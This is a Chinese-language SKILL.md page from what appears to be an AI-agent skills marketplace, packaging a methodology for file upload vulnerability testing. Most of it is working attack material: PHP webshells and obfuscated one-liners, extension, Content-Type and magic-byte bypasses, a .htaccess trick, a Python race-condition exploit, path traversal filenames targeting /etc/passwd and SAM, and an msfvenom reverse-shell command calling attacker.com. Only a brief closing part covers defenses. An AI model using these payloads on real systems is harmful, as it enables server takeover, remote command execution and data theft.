skills/file-upload-testing/SKILL.md
文件上传漏洞测试的专业技能和方法论
npx skillsauth add ed1s0nz/cyberstrikeai file-upload-testingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
文件上传功能是Web应用常见功能,但存在多种安全风险。本技能提供文件上传漏洞的检测、利用和防护方法。
仅前端验证:
// 可被绕过
if (!file.name.endsWith('.jpg')) {
alert('只允许上传图片');
}
仅检查扩展名:
// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}
未过滤文件名:
filename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\sam
可预测的文件名:
uploads/1.jpg
uploads/2.jpg
测试各种文件类型:
测试双扩展名:
shell.php.jpg
shell.jpg.php
测试大小写:
shell.PHP
shell.PhP
修改Content-Type:
Content-Type: image/jpeg
# 但文件内容是PHP代码
Magic Bytes:
// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>
Apache解析漏洞:
shell.php.xxx # Apache可能解析为PHP
IIS解析漏洞:
shell.asp;.jpg
shell.asp:.jpg
Nginx解析漏洞:
shell.jpg%00.php
文件上传后立即访问:
# 上传.php文件,在上传完成但删除前访问
import requests
import threading
def upload():
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
requests.post('http://target.com/upload', files=files)
def access():
time.sleep(0.1)
requests.get('http://target.com/uploads/shell.php?cmd=id')
threading.Thread(target=upload).start()
threading.Thread(target=access).start()
基础WebShell:
<?php system($_GET['cmd']); ?>
一句话木马:
<?php eval($_POST['a']); ?>
绕过过滤:
<?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=system
上传.htaccess:
AddType application/x-httpd-php .jpg
然后上传shell.jpg(实际是PHP代码)
GIF图片马:
GIF89a
<?php
phpinfo();
?>
PNG图片马:
# 使用工具将PHP代码嵌入PNG
python3 png2php.py shell.php shell.png
如果存在文件包含漏洞:
# 上传包含PHP代码的图片
# 然后通过文件包含执行
?file=uploads/shell.jpg
双扩展名:
shell.php.jpg
shell.php;.jpg
shell.php%00.jpg
大小写:
shell.PHP
shell.PhP
特殊字符:
shell.php.
shell.php
shell.php%20
修改请求头:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
添加文件头:
// JPEG
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>
// GIF
GIF89a<?php phpinfo(); ?>
// PNG
\x89\x50\x4E\x47<?php phpinfo(); ?>
使用短标签:
<?= system($_GET['cmd']); ?>
使用变量:
<?php
$a='sys';
$b='tem';
$a.$b($_GET['cmd']);
# 使用各种技术测试文件上传
python upload_bypass.py -u http://target.com/upload -f shell.php
# 生成各种WebShell
msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f raw > shell.php
文件类型白名单
ALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'}
ext = filename.rsplit('.', 1)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError("File type not allowed")
文件内容验证
import magic
file_type = magic.from_buffer(file_content, mime=True)
if not file_type.startswith('image/'):
raise ValueError("Invalid file content")
重命名文件
import uuid
filename = str(uuid.uuid4()) + '.' + ext
隔离存储
文件扫描
大小限制
MAX_SIZE = 5 * 1024 * 1024 # 5MB
if file.size > MAX_SIZE:
raise ValueError("File too large")
tools
满配示例技能包:SKILL.md + scripts/、references/、assets/ 等可选目录;验证 Eino skill 与 HTTP 包内路径(仅授权安全测试与教学)。
testing
XXE XML外部实体注入测试的专业技能和方法论
testing
XSS跨站脚本攻击测试的专业技能
testing
XPath注入漏洞测试的专业技能和方法论